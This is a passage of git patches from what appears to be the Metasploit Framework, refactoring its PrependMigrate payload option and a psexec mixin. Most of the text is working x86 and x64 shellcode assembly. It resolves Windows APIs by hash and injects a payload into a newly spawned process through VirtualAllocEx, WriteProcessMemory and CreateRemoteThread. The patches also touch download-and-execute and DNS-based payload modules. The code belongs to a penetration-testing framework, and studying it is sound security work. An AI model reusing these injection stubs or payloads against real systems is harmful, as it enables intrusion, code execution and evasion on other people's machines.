Get the function addresses table rva + mov ebx, [eax+28] ; Get the function addresses table rva add ebx, edx ; Add the modules base address mov eax, [ebx+4*ecx] ; Get the desired functions RVA add eax, edx ; Add the modules base address to get the functions actual VA @@ -246,15 +246,15 @@ start: ; eax now contains the destination ; WriteProcessMemory() - push esp ; lpNumberOfBytesWritten - push #{payloadsize} ; nSize + push esp ; lpNumberOfBytesWritten + push #{payloadsize} ; nSize ; pick up pointer to shellcode & keep it on stack jmp begin_of_payload - begin_of_payload_return: ; lpBuffer - push eax ; lpBaseAddress - push [edi] ; hProcess + begin_of_payload_return: ; lpBuffer + push eax ; lpBaseAddress + push [edi] ; hProcess push 0xE7BDD8C5 ; hash( "kernel32.dll", "WriteProcessMemory" ) - call ebp ; WriteProcessMemory( ...); + call ebp ; WriteProcessMemory( ...) ; run the code (CreateRemoteThread()) push ebx ; lpthreadID @@ -264,7 +264,7 @@ start: push ecx ; shellcode push ebx ; stacksize push ebx ; lpThreadAttributes - push [edi] + push [edi] push 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" ) call ebp ; CreateRemoteThread( ...); @@ -284,7 +284,7 @@ EOS pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string end - # Handle all x86 code here + # Handle all x64 code here elsif test_arch.include?(ARCH_X86_64) or test_arch.include?(ARCH_X64) # PrependMigrate if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true' @@ -308,7 +308,7 @@ api_call: mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list next_mod: ; mov rsi, [rdx+80] ; Get pointer to modules name (unicode string) - movzx rcx, word [rdx+74] ; Set rcx to the length we want to check + movzx rcx, word [rdx+74] ; Set rcx to the length we want to check xor r9, r9 ; Clear r9 which will store the hash of the module name loop_modname: ; xor rax, rax ; Clear rax @@ -323,7 +323,7 @@ not_lowercase: ; ; We now have the module hash computed push rdx ; Save the current position in the module list for later push r9 ; Save the current module hash for later - ; Proceed to itterate the export address table, + ; Proceed to itterate the export address table mov rdx, [rdx+32] ; Get this modules base address mov eax, dword [rdx+60] ; Get PE header add rax, rdx ; Add the modules base address @@ -332,7 +332,7 @@ not_lowercase: ; jz get_next_mod1 ; If no EAT present, process the next module add rax, rdx ; Add the modules base address push rax ; Save the current modules EAT - mov ecx, dword [rax+24] ; Get the number of function names + mov ecx, dword [rax+24] ; Get the number of function names mov r8d, dword [rax+32] ; Get the rva of the function names add r8, rdx ; Add the modules base address ; Computing the module hash + function hash @@ -351,14 +351,14 @@ loop_funcname: ; cmp al, ah ; Compare AL (the next byte from the name) to AH (null) jne loop_funcname ; If we have not reached the null terminator, continue add r9, [rsp+8] ; Add the current module hash to the function hash - cmp r9d, r10d ; Compare the hash to the one we are searchnig for + cmp r9d, r10d ; Compare the hash to the one we are searchnig for jnz get_next_func ; Go compute the next function hash if we have not found it ; If found, fix up stack, call the function and then value else compute the next one... pop rax ; Restore the current modules EAT - mov r8d, dword [rax+36] ; Get the ordinal table rva + mov r8d, dword [rax+36] ; Get the ordinal table rva add r8, rdx ; Add the modules base address mov cx, [r8+2*rcx] ; Get the desired functions ordinal - mov r8d, dword [rax+28] ; Get the function addresses table rva + mov r8d, dword [rax+28] ; Get the function addresses table rva add r8, rdx ; Add the modules base address mov eax, dword [r8+4*rcx]; Get the desired functions RVA add rax, rdx ; Add the modules base address to get the functions actual VA @@ -462,16 +462,16 @@ start: call rbp ; VirtualAllocEx( ...); ; eax now contains the destination - save in ebx - mov rbx, rax ; lpBaseAddress + mov rbx, rax ; lpBaseAddress ; WriteProcessMemory() - push rsp ; lpNumberOfBytesWritten - mov r9, #{payloadsize} ; nSize + push rsp ; lpNumberOfBytesWritten + mov r9, #{payloadsize} ; nSize ; pick up pointer to shellcode & keep it on stack jmp begin_of_payload begin_of_payload_return: pop r8 ; lpBuffer - mov rdx, rax ; lpBaseAddress - mov rcx, [rdi] ; hProcess + mov rdx, rax ; lpBaseAddress + mov rcx, [rdi] ; hProcess mov r10d, 0xE7BDD8C5 ; hash( "kernel32.dll", "WriteProcessMemory" ) call rbp ; WriteProcessMemory( ...); @@ -483,7 +483,7 @@ start: mov r9,rbx ; shellcode mov r8, rcx ; stacksize ;rdx already equals 0 ; lpThreadAttributes - mov rcx, [rdi] + mov rcx, [rdi] mov r10d, 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" ) call rbp ; CreateRemoteThread( ...); From 16d065adfcd6e2cce761a7d6d4d56b64cc167644 Mon Sep 17 00:00:00 2001 From: scriptjunkie Date: Fri, 30 Nov 2012 08:14:27 -0600 Subject: [PATCH 021/448] Fix issue with singles. Single now plays more nicely with other mixins, so PrependMigrate works. --- lib/msf/core/payload/single.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/payload/single.rb b/lib/msf/core/payload/single.rb index 7a78b489bc..e97560c247 100644 --- a/lib/msf/core/payload/single.rb +++ b/lib/msf/core/payload/single.rb @@ -37,7 +37,7 @@ module Msf::Payload::Single # Otherwise, just use the default method to generate the single # payload else - internal_generate + super end end end From 52251867d876628edc31dce4490f823968fdea01 Mon Sep 17 00:00:00 2001 From: scriptjunkie Date: Sat, 1 Dec 2012 14:39:23 -0600 Subject: [PATCH 022/448] Ensure Windows single payloads use payload backend This means the singles that define their own assembly will use the payload backend to generate it. --- lib/msf/core/payload.rb | 9 +++++++++ modules/payloads/singles/windows/dns_txt_query_exec.rb | 3 ++- modules/payloads/singles/windows/download_exec.rb | 3 ++- modules/payloads/singles/windows/messagebox.rb | 3 ++- 4 files changed, 15 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb index b4154b0717..d8bb963a68 100644 --- a/lib/msf/core/payload.rb +++ b/lib/msf/core/payload.rb @@ -185,6 +185,15 @@ class Payload < Msf::Module return module_info['Payload'] ? module_info['Payload']['Assembly'] : nil end + # + # Sets the assembly string that describes the payload + # If this method is used to define the payload, a payload with no offsets will be created + # + def assembly=(asm) + module_info['Payload'] ||= {'Offsets' => {} } + module_info['Payload']['Assembly'] = asm + end + # # Returns the offsets to variables that must be substitute, if any. # diff --git a/modules/payloads/singles/windows/dns_txt_query_exec.rb b/modules/payloads/singles/windows/dns_txt_query_exec.rb index 213ff6dcf3..b0e6d146f9 100644 --- a/modules/payloads/singles/windows/dns_txt_query_exec.rb +++ b/modules/payloads/singles/windows/dns_txt_query_exec.rb @@ -253,6 +253,7 @@ jump_to_payload: EOS - the_payload = Metasm::Shellcode.assemble(Metasm::Ia32.new, payload_data).encode_string + self.assembly = payload_data + super end end diff --git a/modules/payloads/singles/windows/download_exec.rb b/modules/payloads/singles/windows/download_exec.rb index cef4369431..3d6b096e57 100644 --- a/modules/payloads/singles/windows/download_exec.rb +++ b/modules/payloads/singles/windows/download_exec.rb @@ -387,6 +387,7 @@ server_host: db "#{server_host}", 0x00 end: EOS - the_payload = Metasm::Shellcode.assemble(Metasm::Ia32.new, payload_data).encode_string + self.assembly = payload_data + super end end diff --git a/modules/payloads/singles/windows/messagebox.rb b/modules/payloads/singles/windows/messagebox.rb index 7aca7e92aa..46ecba9e6a 100644 --- a/modules/payloads/singles/windows/messagebox.rb +++ b/modules/payloads/singles/windows/messagebox.rb @@ -266,7 +266,8 @@ start_main: ;EXITFUNC #{doexit} EOS - the_payload = Metasm::Shellcode.assemble(Metasm::Ia32.new, payload_data).encode_string + self.assembly = payload_data + super end # From 07bf36f62fc6a3884da776d4dc37dbb6cecdd6e1 Mon Sep 17 00:00:00 2001 From: scriptjunkie Date: Fri, 18 Jan 2013 17:32:50 -0600 Subject: [PATCH 023/448] Ensure shell still works if PrependMigrateProc fails to launch. Don't rely on GetStartupInfoA return value. --- lib/msf/core/payload/windows.rb | 153 ++++++++++++++++++-------------- 1 file changed, 86 insertions(+), 67 deletions(-) diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index 6761c80782..752f1c9522 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -75,14 +75,32 @@ module Msf::Payload::Windows if test_arch.include?(ARCH_X86) # PrependMigrate if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true' - payloadsize = "0x%04x" % buf.length - procname = datastore['PrependMigrateProc'] || 'rundll32' + migrate_asm = prepend_migrate(buf) + pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string + end + # Handle all x64 code here + elsif test_arch.include?(ARCH_X86_64) or test_arch.include?(ARCH_X64) + # PrependMigrate + if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true' + migrate_asm = prepend_migrate_64(buf) + pre << Metasm::Shellcode.assemble(Metasm::X64.new, migrate_asm).encode_string + end + end + return (pre + buf) + end - # Prepare instructions to get address of block_api into ebp - block_api_start = < Date: Fri, 18 Jan 2013 17:45:36 -0600 Subject: [PATCH 024/448] Move PrependMigrate to a mixin --- lib/msf/core/payload/windows.rb | 474 +---------------- .../core/payload/windows/prependmigrate.rb | 491 ++++++++++++++++++ 2 files changed, 494 insertions(+), 471 deletions(-) create mode 100644 lib/msf/core/payload/windows/prependmigrate.rb diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index 752f1c9522..55475251a0 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -1,5 +1,6 @@ # -*- coding: binary -*- require 'msf/core' +require 'msf/core/payload/windows/prependmigrate' ### # @@ -11,6 +12,8 @@ require 'msf/core' ### module Msf::Payload::Windows + include Msf::Payload::PrependMigrate + # # ROR hash associations for some of the exit technique routines. # @@ -53,480 +56,9 @@ module Msf::Payload::Windows [ Msf::OptRaw.new('EXITFUNC', [ true, "Exit technique: #{@@exit_types.keys.join(", ")}", 'process' ]) ], Msf::Payload::Windows ) - register_advanced_options( - [ - Msf::OptBool.new('PrependMigrate', [ true, "Spawns and runs shellcode in new process", false ]), - Msf::OptString.new('PrependMigrateProc', [ false, "Process to spawn and run shellcode in" ]) - ], Msf::Payload::Windows ) ret end - # - # Overload the generate() call to prefix our stubs - # - def generate(*args) - # Call the real generator to get the payload - buf = super(*args) - pre = '' - - test_arch = [ *(self.arch) ] - - # Handle all x86 code here - if test_arch.include?(ARCH_X86) - # PrependMigrate - if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true' - migrate_asm = prepend_migrate(buf) - pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string - end - # Handle all x64 code here - elsif test_arch.include?(ARCH_X86_64) or test_arch.include?(ARCH_X64) - # PrependMigrate - if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true' - migrate_asm = prepend_migrate_64(buf) - pre << Metasm::Shellcode.assemble(Metasm::X64.new, migrate_asm).encode_string - end - end - return (pre + buf) - end - - # - # Create assembly - # - def prepend_migrate(buf) - payloadsize = "0x%04x" % buf.length - procname = datastore['PrependMigrateProc'] || 'rundll32' - - # Prepare instructions to get address of block_api into ebp - block_api_start = <Ldr - mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list -next_mod: ; - mov esi, [edx+40] ; Get pointer to modules name (unicode string) - movzx ecx, word [edx+38] ; Set ECX to the length we want to check - xor edi, edi ; Clear EDI which will store the hash of the module name -loop_modname: ; - xor eax, eax ; Clear EAX - lodsb ; Read in the next byte of the name - cmp al, 'a' ; Some versions of Windows use lower case module names - jl not_lowercase ; - sub al, 0x20 ; If so normalise to uppercase -not_lowercase: ; - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name - loop loop_modname ; Loop untill we have read enough - ; We now have the module hash computed - push edx ; Save the current position in the module list for later - push edi ; Save the current module hash for later - ; Proceed to iterate the export address table - mov edx, [edx+16] ; Get this modules base address - mov eax, [edx+60] ; Get PE header - add eax, edx ; Add the modules base address - mov eax, [eax+120] ; Get export tables RVA - test eax, eax ; Test if no export address table is present - jz get_next_mod1 ; If no EAT present, process the next module - add eax, edx ; Add the modules base address - push eax ; Save the current modules EAT - mov ecx, [eax+24] ; Get the number of function names - mov ebx, [eax+32] ; Get the rva of the function names - add ebx, edx ; Add the modules base address - ; Computing the module hash + function hash -get_next_func: ; - jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module - dec ecx ; Decrement the function name counter - mov esi, [ebx+ecx*4] ; Get rva of next module name - add esi, edx ; Add the modules base address - xor edi, edi ; Clear EDI which will store the hash of the function name - ; And compare it to the one we want -loop_funcname: ; - xor eax, eax ; Clear EAX - lodsb ; Read in the next byte of the ASCII function name - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name - cmp al, ah ; Compare AL (the next byte from the name) to AH (null) - jne loop_funcname ; If we have not reached the null terminator, continue - add edi, [ebp-8] ; Add the current module hash to the function hash - cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for - jnz get_next_func ; Go compute the next function hash if we have not found it - ; If found, fix up stack, call the function and then value else compute the next one... - pop eax ; Restore the current modules EAT - mov ebx, [eax+36] ; Get the ordinal table rva - add ebx, edx ; Add the modules base address - mov cx, [ebx+2*ecx] ; Get the desired functions ordinal - mov ebx, [eax+28] ; Get the function addresses table rva - add ebx, edx ; Add the modules base address - mov eax, [ebx+4*ecx] ; Get the desired functions RVA - add eax, edx ; Add the modules base address to get the functions actual VA - ; We now fix up the stack and perform the call to the desired function... -finish: - mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad - pop ebx ; Clear off the current modules hash - pop ebx ; Clear off the current position in the module list - popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered - pop ecx ; Pop off the origional return address our caller will have pushed - pop edx ; Pop off the hash value our caller will have pushed - push ecx ; Push back the correct return value - jmp eax ; Jump into the required function - ; We now automagically return to the correct caller... -get_next_mod: ; - pop eax ; Pop off the current (now the previous) modules EAT -get_next_mod1: ; - pop edi ; Pop off the current (now the previous) modules hash - pop edx ; Restore our position in the module list - mov edx, [edx] ; Get the next module - jmp.i8 next_mod ; Process this module -;-------------------------------------------------------------------------------------- -EOS - block_api_ebp_asm = <Ldr - mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list -next_mod: ; - mov rsi, [rdx+80] ; Get pointer to modules name (unicode string) - movzx rcx, word [rdx+74] ; Set rcx to the length we want to check - xor r9, r9 ; Clear r9 which will store the hash of the module name -loop_modname: ; - xor rax, rax ; Clear rax - lodsb ; Read in the next byte of the name - cmp al, 'a' ; Some versions of Windows use lower case module names - jl not_lowercase ; - sub al, 0x20 ; If so normalise to uppercase -not_lowercase: ; - ror r9d, 13 ; Rotate right our hash value - add r9d, eax ; Add the next byte of the name - loop loop_modname ; Loop untill we have read enough - ; We now have the module hash computed - push rdx ; Save the current position in the module list for later - push r9 ; Save the current module hash for later - ; Proceed to itterate the export address table - mov rdx, [rdx+32] ; Get this modules base address - mov eax, dword [rdx+60] ; Get PE header - add rax, rdx ; Add the modules base address - mov eax, dword [rax+136] ; Get export tables RVA - test rax, rax ; Test if no export address table is present - jz get_next_mod1 ; If no EAT present, process the next module - add rax, rdx ; Add the modules base address - push rax ; Save the current modules EAT - mov ecx, dword [rax+24] ; Get the number of function names - mov r8d, dword [rax+32] ; Get the rva of the function names - add r8, rdx ; Add the modules base address - ; Computing the module hash + function hash -get_next_func: ; - jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module - dec rcx ; Decrement the function name counter - mov esi, dword [r8+rcx*4]; Get rva of next module name - add rsi, rdx ; Add the modules base address - xor r9, r9 ; Clear r9 which will store the hash of the function name - ; And compare it to the one we want -loop_funcname: ; - xor rax, rax ; Clear rax - lodsb ; Read in the next byte of the ASCII function name - ror r9d, 13 ; Rotate right our hash value - add r9d, eax ; Add the next byte of the name - cmp al, ah ; Compare AL (the next byte from the name) to AH (null) - jne loop_funcname ; If we have not reached the null terminator, continue - add r9, [rsp+8] ; Add the current module hash to the function hash - cmp r9d, r10d ; Compare the hash to the one we are searchnig for - jnz get_next_func ; Go compute the next function hash if we have not found it - ; If found, fix up stack, call the function and then value else compute the next one... - pop rax ; Restore the current modules EAT - mov r8d, dword [rax+36] ; Get the ordinal table rva - add r8, rdx ; Add the modules base address - mov cx, [r8+2*rcx] ; Get the desired functions ordinal - mov r8d, dword [rax+28] ; Get the function addresses table rva - add r8, rdx ; Add the modules base address - mov eax, dword [r8+4*rcx]; Get the desired functions RVA - add rax, rdx ; Add the modules base address to get the functions actual VA - ; We now fix up the stack and perform the call to the drsired function... -finish: - pop r8 ; Clear off the current modules hash - pop r8 ; Clear off the current position in the module list - pop rsi ; Restore RSI - pop rcx ; Restore the 1st parameter - pop rdx ; Restore the 2nd parameter - pop r8 ; Restore the 3rd parameter - pop r9 ; Restore the 4th parameter - pop r10 ; pop off the return address - sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32) - ; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP). - push r10 ; push back the return address - jmp rax ; Jump into the required function - ; We now automagically return to the correct caller... -get_next_mod: ; - pop rax ; Pop off the current (now the previous) modules EAT -get_next_mod1: ; - pop r9 ; Pop off the current (now the previous) modules hash - pop rdx ; Restore our position in the module list - mov rdx, [rdx] ; Get the next module - jmp next_mod ; Process this module -EOS - block_api_rbp_asm = <Ldr + mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list +next_mod: ; + mov esi, [edx+40] ; Get pointer to modules name (unicode string) + movzx ecx, word [edx+38] ; Set ECX to the length we want to check + xor edi, edi ; Clear EDI which will store the hash of the module name +loop_modname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the name + cmp al, 'a' ; Some versions of Windows use lower case module names + jl not_lowercase ; + sub al, 0x20 ; If so normalise to uppercase +not_lowercase: ; + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + loop loop_modname ; Loop untill we have read enough + ; We now have the module hash computed + push edx ; Save the current position in the module list for later + push edi ; Save the current module hash for later + ; Proceed to iterate the export address table + mov edx, [edx+16] ; Get this modules base address + mov eax, [edx+60] ; Get PE header + add eax, edx ; Add the modules base address + mov eax, [eax+120] ; Get export tables RVA + test eax, eax ; Test if no export address table is present + jz get_next_mod1 ; If no EAT present, process the next module + add eax, edx ; Add the modules base address + push eax ; Save the current modules EAT + mov ecx, [eax+24] ; Get the number of function names + mov ebx, [eax+32] ; Get the rva of the function names + add ebx, edx ; Add the modules base address + ; Computing the module hash + function hash +get_next_func: ; + jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module + dec ecx ; Decrement the function name counter + mov esi, [ebx+ecx*4] ; Get rva of next module name + add esi, edx ; Add the modules base address + xor edi, edi ; Clear EDI which will store the hash of the function name + ; And compare it to the one we want +loop_funcname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the ASCII function name + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + cmp al, ah ; Compare AL (the next byte from the name) to AH (null) + jne loop_funcname ; If we have not reached the null terminator, continue + add edi, [ebp-8] ; Add the current module hash to the function hash + cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for + jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... + pop eax ; Restore the current modules EAT + mov ebx, [eax+36] ; Get the ordinal table rva + add ebx, edx ; Add the modules base address + mov cx, [ebx+2*ecx] ; Get the desired functions ordinal + mov ebx, [eax+28] ; Get the function addresses table rva + add ebx, edx ; Add the modules base address + mov eax, [ebx+4*ecx] ; Get the desired functions RVA + add eax, edx ; Add the modules base address to get the functions actual VA + ; We now fix up the stack and perform the call to the desired function... +finish: + mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad + pop ebx ; Clear off the current modules hash + pop ebx ; Clear off the current position in the module list + popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered + pop ecx ; Pop off the origional return address our caller will have pushed + pop edx ; Pop off the hash value our caller will have pushed + push ecx ; Push back the correct return value + jmp eax ; Jump into the required function + ; We now automagically return to the correct caller... +get_next_mod: ; + pop eax ; Pop off the current (now the previous) modules EAT +get_next_mod1: ; + pop edi ; Pop off the current (now the previous) modules hash + pop edx ; Restore our position in the module list + mov edx, [edx] ; Get the next module + jmp.i8 next_mod ; Process this module +;-------------------------------------------------------------------------------------- +EOS + block_api_ebp_asm = <Ldr + mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list +next_mod: ; + mov rsi, [rdx+80] ; Get pointer to modules name (unicode string) + movzx rcx, word [rdx+74] ; Set rcx to the length we want to check + xor r9, r9 ; Clear r9 which will store the hash of the module name +loop_modname: ; + xor rax, rax ; Clear rax + lodsb ; Read in the next byte of the name + cmp al, 'a' ; Some versions of Windows use lower case module names + jl not_lowercase ; + sub al, 0x20 ; If so normalise to uppercase +not_lowercase: ; + ror r9d, 13 ; Rotate right our hash value + add r9d, eax ; Add the next byte of the name + loop loop_modname ; Loop untill we have read enough + ; We now have the module hash computed + push rdx ; Save the current position in the module list for later + push r9 ; Save the current module hash for later + ; Proceed to itterate the export address table + mov rdx, [rdx+32] ; Get this modules base address + mov eax, dword [rdx+60] ; Get PE header + add rax, rdx ; Add the modules base address + mov eax, dword [rax+136] ; Get export tables RVA + test rax, rax ; Test if no export address table is present + jz get_next_mod1 ; If no EAT present, process the next module + add rax, rdx ; Add the modules base address + push rax ; Save the current modules EAT + mov ecx, dword [rax+24] ; Get the number of function names + mov r8d, dword [rax+32] ; Get the rva of the function names + add r8, rdx ; Add the modules base address + ; Computing the module hash + function hash +get_next_func: ; + jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module + dec rcx ; Decrement the function name counter + mov esi, dword [r8+rcx*4]; Get rva of next module name + add rsi, rdx ; Add the modules base address + xor r9, r9 ; Clear r9 which will store the hash of the function name + ; And compare it to the one we want +loop_funcname: ; + xor rax, rax ; Clear rax + lodsb ; Read in the next byte of the ASCII function name + ror r9d, 13 ; Rotate right our hash value + add r9d, eax ; Add the next byte of the name + cmp al, ah ; Compare AL (the next byte from the name) to AH (null) + jne loop_funcname ; If we have not reached the null terminator, continue + add r9, [rsp+8] ; Add the current module hash to the function hash + cmp r9d, r10d ; Compare the hash to the one we are searchnig for + jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... + pop rax ; Restore the current modules EAT + mov r8d, dword [rax+36] ; Get the ordinal table rva + add r8, rdx ; Add the modules base address + mov cx, [r8+2*rcx] ; Get the desired functions ordinal + mov r8d, dword [rax+28] ; Get the function addresses table rva + add r8, rdx ; Add the modules base address + mov eax, dword [r8+4*rcx]; Get the desired functions RVA + add rax, rdx ; Add the modules base address to get the functions actual VA + ; We now fix up the stack and perform the call to the drsired function... +finish: + pop r8 ; Clear off the current modules hash + pop r8 ; Clear off the current position in the module list + pop rsi ; Restore RSI + pop rcx ; Restore the 1st parameter + pop rdx ; Restore the 2nd parameter + pop r8 ; Restore the 3rd parameter + pop r9 ; Restore the 4th parameter + pop r10 ; pop off the return address + sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32) + ; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP). + push r10 ; push back the return address + jmp rax ; Jump into the required function + ; We now automagically return to the correct caller... +get_next_mod: ; + pop rax ; Pop off the current (now the previous) modules EAT +get_next_mod1: ; + pop r9 ; Pop off the current (now the previous) modules hash + pop rdx ; Restore our position in the module list + mov rdx, [rdx] ; Get the next module + jmp next_mod ; Process this module +EOS + block_api_rbp_asm = < Date: Fri, 18 Jan 2013 18:04:09 -0600 Subject: [PATCH 025/448] Ensure prepend_migrate? always functions correctly. --- lib/msf/core/exploit.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index dd68fb16b0..c09ff83cbe 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -1248,7 +1248,7 @@ class Exploit < Msf::Module # for discussion. # def prepend_migrate? - datastore['PrependMigrate'] + !!(datastore['PrependMigrate'] && datastore['PrependMigrate'].to_s.downcase == 'true') end ## From 81625121f2ba68ef3ff7d76fc7f7e61e584a33f0 Mon Sep 17 00:00:00 2001 From: Royce Davis Date: Tue, 22 Jan 2013 09:49:03 -0600 Subject: [PATCH 026/448] Cleaned up some code spacing --- lib/msf/core/exploit/psexec.rb | 18 ++++-------------- 1 file changed, 4 insertions(+), 14 deletions(-) diff --git a/lib/msf/core/exploit/psexec.rb b/lib/msf/core/exploit/psexec.rb index b10e1453f3..b4292004da 100644 --- a/lib/msf/core/exploit/psexec.rb +++ b/lib/msf/core/exploit/psexec.rb @@ -13,6 +13,7 @@ module Exploit::Remote::Psexec include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB + # Retrives output from the executed command # @param smbshare [String] The SMBshare to connect to. Usually C$ # @param ip [IP Address] Remote Host to Connect To @@ -21,7 +22,6 @@ module Exploit::Remote::Psexec # @return output or nil if fails def get_output(smbshare, ip, file) begin - print_status("Getting the command output...") simple.connect("\\\\#{ip}\\#{smbshare}") outfile = simple.open(file, 'ro') output = outfile.read @@ -42,14 +42,11 @@ module Exploit::Remote::Psexec # @param command [String] Should be a valid windows command # @return true if everything wen't well def psexec(command) - simple.connect("\\\\#{datastore['RHOST']}\\IPC$") - handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) vprint_status("#{peer} - Binding to #{handle} ...") dcerpc_bind(handle) vprint_status("#{peer} - Bound to #{handle} ...") - vprint_status("#{peer} - Obtaining a service manager handle...") scm_handle = nil stubdata = @@ -63,16 +60,13 @@ module Exploit::Remote::Psexec print_error("#{peer} - Error: #{e}") return false end - servicename = Rex::Text.rand_text_alpha(11) displayname = Rex::Text.rand_text_alpha(16) holdhandle = scm_handle svc_handle = nil svc_status = nil - stubdata = scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + - NDR.long(0x0F01FF) + # Access: MAX NDR.long(0x00000110) + # Type: Interactive, Own process NDR.long(0x00000003) + # Start: Demand @@ -96,18 +90,15 @@ module Exploit::Remote::Psexec print_error("#{peer} - Error: #{e}") return false end - vprint_status("#{peer} - Closing service handle...") begin response = dcerpc.call(0x0, svc_handle) rescue ::Exception end - vprint_status("#{peer} - Opening service...") begin stubdata = scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) - response = dcerpc.call(0x10, stubdata) if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil svc_handle = dcerpc.last_response.stub_data[0,20] @@ -116,7 +107,6 @@ module Exploit::Remote::Psexec print_error("#{peer} - Error: #{e}") return false end - vprint_status("#{peer} - Starting the service...") stubdata = svc_handle + NDR.long(0) + NDR.long(0) @@ -128,7 +118,6 @@ module Exploit::Remote::Psexec print_error("#{peer} - Error: #{e}") return false end - vprint_status("#{peer} - Removing the service...") stubdata = svc_handle @@ -139,19 +128,18 @@ module Exploit::Remote::Psexec rescue ::Exception => e print_error("#{peer} - Error: #{e}") end - vprint_status("#{peer} - Closing service handle...") begin response = dcerpc.call(0x0, svc_handle) rescue ::Exception => e print_error("#{peer} - Error: #{e}") end - select(nil, nil, nil, 1.0) simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") return true end + # This method is called by file_dropper to remove files droped # By your module # @@ -166,6 +154,7 @@ module Exploit::Remote::Psexec psexec(delete) end + # This method stores files in an Instance array # The files are then deleted from the remote host once # the cleanup_after method is called @@ -178,6 +167,7 @@ module Exploit::Remote::Psexec @dropped_files += file end + # This method removes any files that were dropped on the remote system # and marked with the register_file_for_cleanup method def cleanup_after From 32aa2c6d9c7ef65c385b76b887b81323925a1a6f Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 22 Jan 2013 13:25:27 -0600 Subject: [PATCH 027/448] Make asm spacing easier to read Also adds a #prepends callback to Payload::Windows to make it a little clearer what's happening. --- lib/msf/core/exploit.rb | 9 - lib/msf/core/payload/windows.rb | 14 +- .../core/payload/windows/prependmigrate.rb | 769 +++++++++--------- 3 files changed, 400 insertions(+), 392 deletions(-) diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index c09ff83cbe..6d2afc913d 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -1242,15 +1242,6 @@ class Exploit < Msf::Module not datastore['DisablePayloadHandler'] end - # - # Returns the state of the PrependMigrate option - # See https://github.com/rapid7/metasploit-framework/pull/917 - # for discussion. - # - def prepend_migrate? - !!(datastore['PrependMigrate'] && datastore['PrependMigrate'].to_s.downcase == 'true') - end - ## # # Handler interaction diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index 55475251a0..78edd966ad 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -12,7 +12,7 @@ require 'msf/core/payload/windows/prependmigrate' ### module Msf::Payload::Windows - include Msf::Payload::PrependMigrate + include Msf::Payload::Windows::PrependMigrate # # ROR hash associations for some of the exit technique routines. @@ -25,6 +25,18 @@ module Msf::Payload::Windows 'none' => 0x5DE2C5AA, # GetLastError } + + # @abstract Override to add additional stubs to prepend to the final + # shellcode. Be sure to call super so other modules may add stubs. + # @return [String] Stub to place at the begginning of generated shellcode + def prepends + "" + end + + def generate(*args) + return prepends + super + end + # # This mixin is chained within payloads that target the Windows platform. # It provides special variable substitution for things like EXITFUNC and diff --git a/lib/msf/core/payload/windows/prependmigrate.rb b/lib/msf/core/payload/windows/prependmigrate.rb index ca63ae3f2e..a1c8c6b2d7 100644 --- a/lib/msf/core/payload/windows/prependmigrate.rb +++ 